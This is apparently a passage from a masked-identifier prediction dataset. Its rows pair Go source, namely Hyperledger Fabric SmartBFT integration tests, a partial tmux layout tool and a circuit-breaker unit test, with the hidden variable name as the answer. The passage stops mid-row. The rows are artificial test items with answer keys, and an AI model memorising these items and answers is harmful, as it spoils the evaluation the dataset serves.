Eventually(ordererRunners[1].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) Eventually(ordererRunners[2].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) Eventually(ordererRunners[3].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) channel := ""testchannel1"" orderer := network.Orderers[0] network.CreateAndJoinChannel(orderer, channel) assertBlockReception(map[string]int{""systemchannel"": 1}, network.Orderers, peer, network) nwo.DeployChaincode(network, channel, network.Orderers[0], nwo.Chaincode{ Name: ""mycc"", Version: ""0.0"", Path: ""github.com/hyperledger/fabric/integration/chaincode/simple/cmd"", Ctor: `{""Args"":[""init"",""a"",""100"",""b"",""200""]}`, Policy: `AND ('Org1MSP.member','Org2MSP.member')`, }) assertBlockReception(map[string]int{""testchannel1"": 1}, network.Orderers, peer, network) By(""check block validation policy on app channel"") assertBlockValidationPolicy(network, peer, network.Orderers[0], channel, common.Policy_IMPLICIT_ORDERER) By(""Taking down a follower node"") ordererProcesses[3].Signal(syscall.SIGTERM) Eventually(ordererProcesses[3].Wait(), network.EventuallyTimeout).Should(Receive()) invokeQuery(network, peer, orderer, channel, 90) invokeQuery(network, peer, orderer, channel, 80) invokeQuery(network, peer, orderer, channel, 70) invokeQuery(network, peer, orderer, channel, 60) By(""Bringing up the follower node"") runner := network.OrdererRunner(network.Orderers[3]) runner.Command.Env = append(runner.Command.Env, ""FABRIC_LOGGING_SPEC=orderer.consensus.smartbft=debug:grpc=debug"") proc := ifrit.Invoke(runner) ordererProcesses[3] = proc Eventually(proc.Ready(), network.EventuallyTimeout).Should(BeClosed()) Eventually(runner.Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Starting view with number 0 and sequence 2"")) By(""Waiting communication to be established from the leader"") Eventually(runner.Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) Eventually(runner.Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) Eventually(runner.Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) invokeQuery(network, peer, orderer, channel, 50) time.Sleep(time.Second * 2) invokeQuery(network, peer, orderer, channel, 40) time.Sleep(time.Second * 2) invokeQuery(network, peer, orderer, channel, 30) time.Sleep(time.Second * 2) invokeQuery(network, peer, orderer, channel, 20) time.Sleep(time.Second * 2) assertBlockReception(map[string]int{""testchannel1"": 9}, network.Orderers, peer, network) invokeQuery(network, peer, orderer, channel, 10) assertBlockReception(map[string]int{""testchannel1"": 10}, network.Orderers, peer, network) invokeQuery(network, peer, orderer, channel, 0) assertBlockReception(map[string]int{""testchannel1"": 11}, network.Orderers, peer, network) By(""Ensuring follower participates in consensus"") Eventually(runner.Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Deciding on seq 11"")) }) It(""smartbft autonomous synchronization"", func() { network = nwo.New(nwo.MultiNodeSmartBFT(), testDir, client, StartPort(), components) network.GenerateConfigTree() network.Bootstrap() network.EventuallyTimeout = time.Minute * 2 var ordererRunners []*ginkgomon.Runner for _, orderer := range network.Orderers { runner := network.OrdererRunner(orderer) runner.Command.Env = append(runner.Command.Env, ""FABRIC_LOGGING_SPEC=orderer.consensus.smartbft=debug:grpc=debug"") ordererRunners = append(ordererRunners, runner) proc := ifrit.Invoke(runner) ordererProcesses = append(ordererProcesses, proc) Eventually(proc.Ready(), network.EventuallyTimeout).Should(BeClosed()) } peerRunner := network.PeerGroupRunner() peerProcesses = ifrit.Invoke(peerRunner) Eventually(peerProcesses.Ready(), network.EventuallyTimeout).Should(BeClosed()) peer := network.Peer(""Org1"", ""peer0"") assertBlockReception(map[string]int{""systemchannel"": 0}, network.Orderers, peer, network) By(""check block validation policy on sys channel"") assertBlockValidationPolicy(network, peer, network.Orderers[0], ""systemchannel"", common.Policy_IMPLICIT_ORDERER) By(""Waiting for followers to see the leader"") Eventually(ordererRunners[1].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) Eventually(ordererRunners[2].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) Eventually(ordererRunners[3].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) channel := ""testchannel1"" orderer := network.Orderers[0] network.CreateAndJoinChannel(orderer, channel) assertBlockReception(map[string]int{""systemchannel"": 1}, network.Orderers, peer, network) nwo.DeployChaincode(network, channel, network.Orderers[0], nwo.Chaincode{ Name: ""mycc"", Version: ""0.0"", Path: ""github.com/hyperledger/fabric/integration/chaincode/simple/cmd"", Ctor: `{""Args"":[""init"",""a"",""100"",""b"",""200""]}`, Policy: `AND ('Org1MSP.member','Org2MSP.member')`, }) assertBlockReception(map[string]int{""testchannel1"": 1}, network.Orderers, peer, network) By(""check block validation policy on app channel"") assertBlockValidationPolicy(network, peer, network.Orderers[0], channel, common.Policy_IMPLICIT_ORDERER) By(""Taking down a follower node"") ordererProcesses[3].Signal(syscall.SIGTERM) Eventually(ordererProcesses[3].Wait(), network.EventuallyTimeout).Should(Receive()) invokeQuery(network, peer, orderer, channel, 90) invokeQuery(network, peer, orderer, channel, 80) invokeQuery(network, peer, orderer, channel, 70) invokeQuery(network, peer, orderer, channel, 60) By(""Bringing up the follower node"") runner := network.OrdererRunner(network.Orderers[3]) runner.Command.Env = append(runner.Command.Env, ""FABRIC_LOGGING_SPEC=orderer.consensus.smartbft=debug:grpc=debug"") proc := ifrit.Invoke(runner) ordererProcesses[3] = proc Eventually(proc.Ready(), network.EventuallyTimeout).Should(BeClosed()) Eventually(runner.Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Starting view with number 0 and sequence 2"")) By(""Waiting communication to be established from the leader"") Eventually(runner.Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1 channel=testchannel1"")) By(""Waiting for follower to understand it is behind"") Eventually(runner.Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""leader's sequence is 5 and ours is 2"")) By(""Waiting for follower to synchronize itself"") Eventually(runner.Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Finished synchronizing with cluster"")) By(""Waiting for all nodes to have the latest block sequence"") assertBlockReception(map[string]int{""testchannel1"": 5}, network.Orderers, peer, network) By(""Ensuring the follower is functioning properly"") invokeQuery(network, peer, orderer, channel, 50) invokeQuery(network, peer, orderer, channel, 40) assertBlockReception(map[string]int{""testchannel1"": 7}, network.Orderers, peer, network) }) It(""smartbft node addition and removal"", func() { network = nwo.New(nwo.MultiNodeSmartBFT(), testDir, client, StartPort(), components) network.GenerateConfigTree() network.Bootstrap() var ordererRunners []*ginkgomon.Runner for _, orderer := range network.Orderers { runner := network.OrdererRunner(orderer) runner.Command.Env = append(runner.Command.Env, ""FABRIC_LOGGING_SPEC=orderer.consensus.smartbft=debug:policies.ImplicitOrderer=debug"") ordererRunners = append(ordererRunners, runner) proc := ifrit.Invoke(runner) ordererProcesses = append(ordererProcesses, proc) Eventually(proc.Ready(), network.EventuallyTimeout).Should(BeClosed()) } peerRunner := network.PeerGroupRunner() peerProcesses = ifrit.Invoke(peerRunner) Eventually(peerProcesses.Ready(), network.EventuallyTimeout).Should(BeClosed()) peer := network.Peer(""Org1"", ""peer0"") assertBlockReception(map[string]int{""systemchannel"": 0}, network.Orderers, peer, network) By(""check block validation policy on sys channel"") assertBlockValidationPolicy(network, peer, network.Orderers[0], ""systemchannel"", common.Policy_IMPLICIT_ORDERER) By(""Waiting for followers to see the leader"") Eventually(ordererRunners[1].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) Eventually(ordererRunners[2].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) Eventually(ordererRunners[3].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) channel := ""testchannel1"" orderer := network.Orderers[0] network.CreateAndJoinChannel(orderer, channel) assertBlockReception(map[string]int{""systemchannel"": 1}, network.Orderers, peer, network) nwo.DeployChaincode(network, channel, network.Orderers[0], nwo.Chaincode{ Name: ""mycc"", Version: ""0.0"", Path: ""github.com/hyperledger/fabric/integration/chaincode/simple/cmd"", Ctor: `{""Args"":[""init"",""a"",""100"",""b"",""200""]}`, Policy: `AND ('Org1MSP.member','Org2MSP.member')`, }) assertBlockReception(map[string]int{""testchannel1"": 1}, network.Orderers, peer, network) By(""check block validation policy on app channel"") assertBlockValidationPolicy(network, peer, network.Orderers[0], channel, common.Policy_IMPLICIT_ORDERER) By(""Transacting on testchannel1"") invokeQuery(network, peer, orderer, channel, 90) invokeQuery(network, peer, orderer, channel, 80) assertBlockReception(map[string]int{""testchannel1"": 3}, network.Orderers, peer, network) By(""Adding a new consenter"") orderer5 := &nwo.Orderer{ Name: ""orderer5"", Organization: ""OrdererOrg"", } network.Orderers = append(network.Orderers, orderer5) ports := nwo.Ports{} for _, portName := range nwo.OrdererPortNames() { ports[portName] = network.ReservePort() } network.PortsByOrdererID[orderer5.ID()] = ports network.GenerateCryptoConfig() network.GenerateOrdererConfig(orderer5) sess, err := network.Cryptogen(commands.Extend{ Config: network.CryptoConfigPath(), Input: network.CryptoPath(), }) Expect(err).NotTo(HaveOccurred()) Eventually(sess, network.EventuallyTimeout).Should(gexec.Exit(0)) [MASK] := filepath.Join(network.OrdererLocalTLSDir(orderer5), ""server.crt"") ordererCertificate, err := ioutil.ReadFile( [MASK] ) Expect(err).NotTo(HaveOccurred()) ordererIdentity, err := ioutil.ReadFile(network.OrdererCert(orderer5)) Expect(err).NotTo(HaveOccurred()) By(""Enter maintenance mode"") for _, channel := range []string{""systemchannel"", ""testchannel1""} { updateConsensusState(network, peer, orderer, channel, protosorderer.ConsensusType_STATE_MAINTENANCE) } assertBlockReception(map[string]int{ ""systemchannel"": 2, ""testchannel1"": 4, }, network.Orderers[:4], peer, network) for _, channel := range []string{""systemchannel"", ""testchannel1""} { nwo.UpdateSmartBFTMetadata(network, peer, orderer, channel, func(md *smartbft.ConfigMetadata) { md.Consenters = append(md.Consenters, &smartbft.Consenter{ MspId: ""OrdererMSP"", ConsenterId: 5, Identity: utils.MarshalOrPanic(&msp.SerializedIdentity{ Mspid: ""OrdererMSP"", IdBytes: ordererIdentity, }), ServerTlsCert: ordererCertificate, ClientTlsCert: ordererCertificate, Host: ""127.0.0.1"", Port: uint32(network.OrdererPort(orderer5, nwo.ClusterPort)), }) }) } assertBlockReception(map[string]int{ ""systemchannel"": 3, ""testchannel1"": 5, }, network.Orderers[:4], peer, network) restart := func(from, until int) { for i, orderer := range network.Orderers[:until] { if i < from { continue } By(fmt.Sprintf(""Killing %s"", orderer.Name)) ordererProcesses[i].Signal(syscall.SIGTERM) Eventually(ordererProcesses[i].Wait(), network.EventuallyTimeout).Should(Receive()) time.Sleep(time.Second * 2) By(fmt.Sprintf(""Launching %s"", orderer.Name)) runner := network.OrdererRunner(orderer) runner.Command.Env = append(runner.Command.Env, ""FABRIC_LOGGING_SPEC=orderer.consensus.smartbft=debug:policies.ImplicitOrderer=debug"") ordererRunners[i] = runner proc := ifrit.Invoke(runner) ordererProcesses[i] = proc Eventually(proc.Ready(), network.EventuallyTimeout).Should(BeClosed()) } } By(""Planting last config block in the orderer's file system"") configBlock := nwo.GetConfigBlock(network, peer, orderer, ""systemchannel"") err = ioutil.WriteFile(filepath.Join(testDir, ""systemchannel_block.pb""), utils.MarshalOrPanic(configBlock), 0644) Expect(err).NotTo(HaveOccurred()) By(""Killing the leader orderer"") ordererProcesses[0].Signal(syscall.SIGTERM) Eventually(ordererProcesses[0].Wait(), network.EventuallyTimeout).Should(Receive()) By(""Restarting all orderers but the first orderer"") restart(1, 4) By(""Launching the added orderer"") runner := network.OrdererRunner(orderer5) runner.Command.Env = append(runner.Command.Env, ""FABRIC_LOGGING_SPEC=orderer.consensus.smartbft=debug:policies.ImplicitOrderer=debug"") ordererRunners = append(ordererRunners, runner) proc := ifrit.Invoke(runner) ordererProcesses = append(ordererProcesses, proc) Eventually(proc.Ready(), network.EventuallyTimeout).Should(BeClosed()) By(""Waiting for view change to occur"") Eventually(ordererRunners[1].Err(), network.EventuallyTimeout*2, time.Second).Should(gbytes.Say(""Changing to leader role"")) Eventually(ordererRunners[2].Err(), network.EventuallyTimeout*2, time.Second).Should(gbytes.Say(""Changing to follower role"")) Eventually(ordererRunners[3].Err(), network.EventuallyTimeout*2, time.Second).Should(gbytes.Say(""Changing to follower role"")) Eventually(ordererRunners[4].Err(), network.EventuallyTimeout*2, time.Second).Should(gbytes.Say(""Changing to follower role"")) By(""Bringing back the old leader"") runner = network.OrdererRunner(orderer) ordererRunners[0] = runner proc = ifrit.Invoke(runner) ordererProcesses[0] = proc Eventually(proc.Ready(), network.EventuallyTimeout).Should(BeClosed()) By(""Waiting for it to find out it's no longer the leader"") Eventually(ordererRunners[0].Err(), network.EventuallyTimeout*2, time.Second).Should(gbytes.Say(""Changing to follower role"")) By(""Exit maintenance mode through that orderer"") for _, channel := range []string{""systemchannel"", ""testchannel1""} { updateConsensusState(network, peer, orderer, channel, protosorderer.ConsensusType_STATE_NORMAL) } time.Sleep(time.Second * 15) By(""Ensure all nodes are in sync"") assertBlockReception(map[string]int{ ""systemchannel"": 4, ""testchannel1"": 6, }, network.Orderers, peer, network) By(""Make sure the peers get the config blocks, again"") waitForBlockReceptionByPeer(peer, network, ""testchannel1"", 6) By(""Transacting on testchannel1, again"") invokeQuery(network, peer, orderer, channel, 70) invokeQuery(network, peer, orderer, channel, 60) invokeQuery(network, peer, orderer, channel, 50) By(""Ensuring added node participates in consensus"") Eventually(runner.Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Deciding on seq 9"")) By(""Ensure all nodes are in sync, again"") assertBlockReception(map[string]int{""testchannel1"": 9}, network.Orderers, peer, network) By(""Enter maintenance mode"") for _, channel := range []string{""systemchannel"", ""testchannel1""} { updateConsensusState(network, peer, orderer, channel, protosorderer.ConsensusType_STATE_MAINTENANCE) } assertBlockReception(map[string]int{ ""systemchannel"": 5, ""testchannel1"": 10, }, network.Orderers, peer, network) By(""Removing the added node from the channels"") for _, channel := range []string{""systemchannel"", ""testchannel1""} { nwo.UpdateSmartBFTMetadata(network, peer, orderer, channel, func(md *smartbft.ConfigMetadata) { md.Consenters = md.Consenters[:4] }) } assertBlockReception(map[string]int{ ""systemchannel"": 6, ""testchannel1"": 11, }, network.Orderers, peer, network) By(""Restarting all orderers"") restart(0, 5) By(""Waiting for the removed node to say the channel is not serviced by it"") Eventually(ordererRunners[4].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""channel systemchannel is not serviced by me"")) By(""Waiting for followers to see the leader"") Eventually(ordererRunners[0].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 2"")) Eventually(ordererRunners[2].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 2"")) Eventually(ordererRunners[3].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 2"")) By(""Exit maintenance mode"") for _, channel := range []string{""systemchannel"", ""testchannel1""} { updateConsensusState(network, peer, orderer, channel, protosorderer.ConsensusType_STATE_NORMAL) } time.Sleep(time.Second * 15) assertBlockReception(map[string]int{ ""systemchannel"": 7, ""testchannel1"": 12, }, network.Orderers[:4], peer, network) By(""Ensuring the leader talks to existing followers"") Eventually(ordererRunners[0].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 2"")) Eventually(ordererRunners[2].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 2"")) Eventually(ordererRunners[3].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 2"")) By(""Make sure the peers get the config blocks, again"") waitForBlockReceptionByPeer(peer, network, ""testchannel1"", 12) By(""Transact again"") invokeQuery(network, peer, orderer, channel, 40) By(""Ensuring the existing nodes got the block"") assertBlockReception(map[string]int{ ""systemchannel"": 7, ""testchannel1"": 13, }, network.Orderers[:4], peer, network) }) It(""smartbft multiple nodes view change"", func() { network = nwo.New(nwo.MultiNodeSmartBFT(), testDir, client, StartPort(), components) network.GenerateConfigTree() network.Bootstrap() var ordererRunners []*ginkgomon.Runner for _, orderer := range network.Orderers { runner := network.OrdererRunner(orderer) ordererRunners = append(ordererRunners, runner) proc := ifrit.Invoke(runner) ordererProcesses = append(ordererProcesses, proc) Eventually(proc.Ready(), network.EventuallyTimeout).Should(BeClosed()) } peerRunner := network.PeerGroupRunner() peerProcesses = ifrit.Invoke(peerRunner) Eventually(peerProcesses.Ready(), network.EventuallyTimeout).Should(BeClosed()) By(""Waiting for followers to see the leader"") Eventually(ordererRunners[1].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) Eventually(ordererRunners[2].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) Eventually(ordererRunners[3].Err(), network.EventuallyTimeout, time.Second).Should(gbytes.Say(""Message from 1"")) peer := network.Peer(""Org1"", ""peer0"") channel := ""testchannel1"" orderer := network.Orderers[0] network.CreateAndJoinChannel(orderer, channel) assertBlockReception(map[string]int{""systemchannel"": 1}, network.Orderers, peer, network) nwo.DeployChaincode(network, channel, orderer, nwo.Chaincode{ Name: ""mycc"", Version: ""0.0"", Path: ""github.com/hyperledger/fabric/integration/chaincode/simple/cmd"", Ctor: `{""Args"":[""init"",""a"",""100"",""b"",""200""]}`, Policy: `AND ('Org1MSP.member','Org2MSP.member')`, }) assertBlockReception(map[string]int{""testchannel1"": 1}, network.Orderers, peer, network) By(""check block validation policy on sys channel"") assertBlockValidationPolicy(network, peer, network.Orderers[0], ""systemchannel"", common.Policy_IMPLICIT_ORDERER) By(""check block validation policy on app channel"") assertBlockValidationPolicy(network, peer, network.Orderers[0], channel, common.Policy_IMPLICIT_ORDERER) By(""Taking down the leader node"") ordererProcesses[0].Signal(syscall.SIGTERM) Eventually(ordererProcesses[0].Wait(), network.EventuallyTimeout).Should(Receive()) By(""Submitting a request all followers to force a view change"") for i, orderer := range []*nwo.Orderer{network.Orderers[1], network.Orderers[2], network.Orderers[3]} { invokeStr := fmt.Sprintf(`{""Args"":[""issue"",""x%d"",""100""]}`, i) sess, err := network.PeerUserSession(peer, ""User1"", commands.ChaincodeInvoke{ ChannelID: channel, Orderer: network.OrdererAddress(orderer, nwo.ListenPort), Name: ""mycc"", Ctor: invokeStr, PeerAddresses: []string{ network.PeerAddress(network.Peer(""Org1"", ""peer0""), nwo.ListenPort), network.PeerAddress(network.Peer(""Org2"", ""peer1""), nwo.ListenPort), }, WaitForEvent: false, }) Expect(err).NotTo(HaveOccurred()) Eventually(sess, network.EventuallyTimeout).Should(gexec.Exit(0)) } By(""Waiting for circulating transactions to be re-proposed"") for i := 0; i < 3; i++ { queryExpect(network, peer, channel, fmt.Sprintf(""x%d"", i), 100) } By(""Submitting transaction to the new leader"") invokeQuery(network, peer, network.Orderers[1], channel, 90) }) }) }) func invokeQuery(network *nwo.Network, peer *nwo.Peer, orderer *nwo.Orderer, channel string, expectedBalance int) { sess, err := network.PeerUserSession(peer, ""User1"", commands.ChaincodeInvoke{ ChannelID: channel, Orderer: network.OrdererAddress(orderer, nwo.ListenPort), Name: ""mycc"", Ctor: `{""Args"":[""invoke"",""a"",""b"",""10""]}`, PeerAddresses: []string{ network.PeerAddress(network.Peer(""Org1"", ""peer0""), nwo.ListenPort), network.PeerAddress(network.Peer(""Org2"", ""peer1""), nwo.ListenPort), }, WaitForEvent: true, }) Expect(err).NotTo(HaveOccurred()) Eventually(sess, network.EventuallyTimeout).Should(gexec.Exit(0)) Expect(sess.Err).To(gbytes.Say(""Chaincode invoke successful. result: status:200"")) queryExpect(network, peer, channel, ""a"", expectedBalance) } func queryExpect(network *nwo.Network, peer *nwo.Peer, channel string, key string, expectedBalance int) { Eventually(func() string { sess, err := network.PeerUserSession(peer, ""User1"", commands.ChaincodeQuery{ ChannelID: channel, Name: ""mycc"", Ctor: fmt.Sprintf(`{""Args"":[""query"",""%s""]}`, key), }) Eventually(sess, network.EventuallyTimeout).Should(gexec.Exit()) if sess.ExitCode() != 0 { return fmt.Sprintf(""exit code is %d: %s, %v"", sess.ExitCode(), string(sess.Err.Contents()), err) } outStr := strings.TrimSpace(string(sess.Out.Contents())) if outStr != fmt.Sprintf(""%d"", expectedBalance) { return fmt.Sprintf(""Error: expected: %d, received %s"", expectedBalance, outStr) } return """" }, network.EventuallyTimeout, time.Second).Should(BeEmpty()) } // assertBlockReception asserts that the given orderers have expected heights for the given channel--> height mapping func assertBlockReception(expectedHeightsPerChannel map[string]int, orderers []*nwo.Orderer, p *nwo.Peer, n *nwo.Network) { assertReception := func(channelName string, blockSeq int) { var wg sync.WaitGroup wg.Add(len(orderers)) for _, orderer := range orderers { go func(orderer *nwo.Orderer) { defer GinkgoRecover() defer wg.Done() waitForBlockReception(orderer, p, n, channelName, blockSeq) }(orderer) } wg.Wait() } var wg sync.WaitGroup wg.Add(len(expectedHeightsPerChannel)) for channelName, blockSeq := range expectedHeightsPerChannel { go func(channelName string, blockSeq int) { defer GinkgoRecover() defer wg.Done() assertReception(channelName, blockSeq) }(channelName, blockSeq) } wg.Wait() } func waitForBlockReception(o *nwo.Orderer, submitter *nwo.Peer, network *nwo.Network, channelName string, blockSeq int) { c := commands.ChannelFetch{ ChannelID: channelName, Block: ""newest"", OutputFile: ""/dev/null"", Orderer: network.OrdererAddress(o, nwo.ListenPort), } Eventually(func() string { sess, err := network.OrdererAdminSession(o, submitter, c) Expect(err).NotTo(HaveOccurred()) Eventually(sess, network.EventuallyTimeout).Should(gexec.Exit()) if sess.ExitCode() != 0 { return fmt.Sprintf(""exit code is %d: %s"", sess.ExitCode(), string(sess.Err.Contents())) } sessErr := string(sess.Err.Contents()) expected := fmt.Sprintf(""Received block: %d"", blockSeq) if strings.Contains(sessErr, expected) { return """" } return sessErr }, network.EventuallyTimeout, time.Second).Should(BeEmpty()) } // updateConsensusState executes a config update that updates the consensus state, i.e. enters or exits maintenance mode. func updateConsensusState(network *nwo.Network, peer *nwo.Peer, orderer *nwo.Orderer, channel string, state protosorderer.ConsensusType_State) { config := nwo.GetConfig(network, peer, orderer, channel) updatedConfig := proto.Clone(config).(*common.Config) consensusTypeConfigValue := updatedConfig.ChannelGroup.Groups[""Orderer""].Values[""ConsensusType""] consensusTypeValue := &protosorderer.ConsensusType{} err := proto.Unmarshal(consensusTypeConfigValue.Value, consensusTypeValue) Expect(err).NotTo(HaveOccurred()) consensusTypeValue.State = state updatedConfig.ChannelGroup.Groups[""Orderer""].Values[""ConsensusType""] = &common.ConfigValue{ ModPolicy: ""Admins"", Value: utils.MarshalOrPanic(consensusTypeValue), } nwo.UpdateOrdererConfig(network, orderer, channel, config, updatedConfig, peer, orderer) } func waitForBlockReceptionByPeer(peer *nwo.Peer, network *nwo.Network, channelName string, blockSeq uint64) { Eventually(func() bool { blockNumFromPeer := nwo.CurrentConfigBlockNumber(network, peer, nil, channelName) return blockNumFromPeer == blockSeq }, network.EventuallyTimeout, time.Second).Should(BeTrue()) } func assertBlockValidationPolicy(network *nwo.Network, peer *nwo.Peer, orderer *nwo.Orderer, channel string, policyType common.Policy_PolicyType) { config := nwo.GetConfig(network, peer, orderer, channel) blockValidationPolicyValue, ok := config.ChannelGroup.Groups[""Orderer""].Policies[""BlockValidation""] Expect(ok).To(BeTrue()) Expect(common.Policy_PolicyType(blockValidationPolicyValue.Policy.Type)).To(Equal(policyType)) } func by(text string, callbacks ...func()) { fmt.Println(text) By(text, callbacks...) } func peerGroupRunners(n *nwo.Network) (ifrit.Runner, []*ginkgomon.Runner) { runners := []*ginkgomon.Runner{} members := grouper.Members{} for _, p := range n.Peers { runner := n.PeerRunner(p) members = append(members, grouper.Member{Name: p.ID(), Runner: runner}) runners = append(runners, runner) } return grouper.NewParallel(syscall.SIGTERM, members), runners } ",ordererCertificatePath 412,"package main import ( ""encoding/json"" ""fmt"" ""os"" ""os/exec"" ""strings"" ) // Window represents a tmux window type Window struct { SessionName string `json:""session_name""` WindowIndex int `json:""window_index""` WindowName string `json:""window_name""` WindowActive bool `json:""window_active""` WindowFlags string `json:""window_flags""` WindowLayout string `json:""window_layout""` } // Pane represents a tmux pane type Pane struct { SessionName string `json:""session_name""` WindowIndex int `json:""window_index""` WindowActive bool `json:""window_active""` WindowFlags string `json:""window_flags""` PaneIndex int `json:""pane_index""` MyTitle string `json:""mytitle""` MyBooter string `json:""mybooter""` PaneActive bool `json:""pane_active""` PaneCurrentPath string `json:""pane_current_path""` } // TmuxCli represents the tmux command line interface type TmuxCli struct{} func (cli *TmuxCli) runCommand(command string) (string, error) { cmd := exec.Command(""/bin/sh"", ""-c"", command) output, err := cmd.CombinedOutput() return string(output), err } func (cli *TmuxCli) amiInTmux() bool { return os.Getenv(""TMUX"") != """" } func (cli *TmuxCli) listOptions(sessionName string) (map[string]string, error) { output, err := cli.runCommand(fmt.Sprintf(""tmux show-options -t %s"", sessionName)) if err != nil { return nil, err } options := make(map[string]string) for _, line := range strings.Split(output, ""\n"") { if strings.HasPrefix(line, ""@my_"") { parts := strings.Fields(line) if len(parts) >= 2 { options[parts[0]] = parts[1] } } } return options, nil } func (cli *TmuxCli) listPane(sessionName string) ([]Pane, error) { // Implement the logic to list panes return nil, nil } func (cli *TmuxCli) curSession() (string, error) { output, err := cli.runCommand(""tmux display-message -p '#S'"") return strings.TrimSpace(output), err } func (cli *TmuxCli) listWindow(sessionName string) ([]Window, error) { // Implement the logic to list windows return nil, nil } // Layout represents a tmux layout type Layout struct { SessionName string `json:""session_name""` Wins []Window `json:""wins""` Panes []Pane `json:""panes""` Var map[string]string `json:""var""` } // X represents the main application logic type X struct { cli TmuxCli } func (x *X) listWindow(sessionName string) ([]Window, error) { _, err := x.cli.runCommand(fmt.Sprintf(""tmux list-windows -t %s"", sessionName)) if err != nil { return nil, err } windows := []Window{} return windows, nil } func (x *X) listPane(sessionName string) ([]Pane, error) { out, err := x.cli.runCommand(fmt.Sprintf(""tmux list-panes -t %s"", sessionName)) if err != nil { return nil, err } panes := []Pane{} return panes, nil } func (x *X) save() { sessionName, err := x.cli.curSession() if err != nil { fmt.Println(""Error getting current session:"", err) return } wins, err := x.listWindow(sessionName) if err != nil { fmt.Println(""Error listing windows:"", err) return } panes, err := x.listPane(sessionName) if err != nil { fmt.Println(""Error listing panes:"", err) return } varMap, err := x.cli.listOptions(sessionName) if err != nil { fmt.Println(""Error listing options:"", err) return } layout := Layout{ SessionName: sessionName, Wins: wins, Panes: panes, Var: varMap, } json.NewEncoder(os.Stdout).Encode(layout) os.Stdout.WriteString(""\n"") } func (x *X) genTmuxSendKeys(booter string) string { [MASK] := strings.Split(booter, "" "")[0] cmds := strings.Split(strings.TrimPrefix(booter, [MASK] ), [MASK] ) for i, cmd := range cmds { cmds[i] = fmt.Sprintf(""'%s'"", strings.TrimSpace(cmd)) } cmds = append([]string{""C-c""}, cmds...) full := strings.Join(cmds, "" 'enter' "") return fmt.Sprintf(""%s 'enter';"", full) } func (x *X) load(fpath string) { // Implement the logic to load the layout } func main() { if len(os.Args) < 2 { fmt.Println(""No command provided"") return } cmd := strings.Replace(os.Args[1], ""-"", ""_"", -1) cmd = strings.TrimPrefix(cmd, ""tmux_"") x := X{cli: TmuxCli{}} if os.Args[1] == ""tmux-save"" { x.save() } else if os.Args[1] == ""tmux-load"" { x.load(os.Args[2]) } } ",delimiter 413,"/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the ""License""); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an ""AS IS"" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package circuitbreaker import ( ""errors"" gtime ""github.com/chanjarster/gears/util/time"" ""testing"" ""time"" ) var ( nowTs = time.Now() //mockNowFn = func() int64 { // return nowTs //} ) func TestNewSyncCircuitBreaker(t *testing.T) { breaker := NewSyncCircuitBreaker(5, 10) if got, want := breaker.failureThreshold, 5; got != want { t.Errorf(""failureThreshold = %v, want %v"", got, want) } if got, want := breaker.resetTimeout, int64(10); got != want { t.Errorf(""resetTimeout = %v, want %v"", got, want) } if got, want := breaker.lastFailureTs, int64(0); got != want { t.Errorf(""lastFailureTs = %v, want %v"", got, want) } if got, want := breaker.failures, 0; got != want { t.Errorf(""lastFailureTs = %v, want %v"", got, want) } if got := breaker.nowFn; got == nil { t.Errorf(""nowFn is nil, want not nil"") } } func TestSyncCircuitBreaker_Do(t *testing.T) { t.Run(""always success"", func(t *testing.T) { cb := &SyncCircuitBreaker{ lastFailureTs: 0, failures: 0, failureThreshold: 1, resetTimeout: 1000, nowFn: gtime.FixedNow(nowTs), } successTimes := 0 onErrorTimes := 0 onOpenTimes := 0 task := func() error { successTimes++ return nil } onError := func(err error) { onErrorTimes++ } onOpen := func() { onOpenTimes++ } for i := 0; i < 10; i++ { cb.Do(task, onError, onOpen) } if got, want := successTimes, 10; got != want { t.Errorf(""successTimes = %v, want %v"", got, want) } if got, want := onErrorTimes, 0; got != want { t.Errorf(""onErrorTimes = %v, want %v"", got, want) } if got, want := onOpenTimes, 0; got != want { t.Errorf(""onOpenTimes = %v, want %v"", got, want) } }) t.Run(""success(close), failure(open)"", func(t *testing.T) { cb := &SyncCircuitBreaker{ lastFailureTs: 0, failures: 0, failureThreshold: 1, resetTimeout: 1000, nowFn: gtime.FixedNow(nowTs), } successTimes := 0 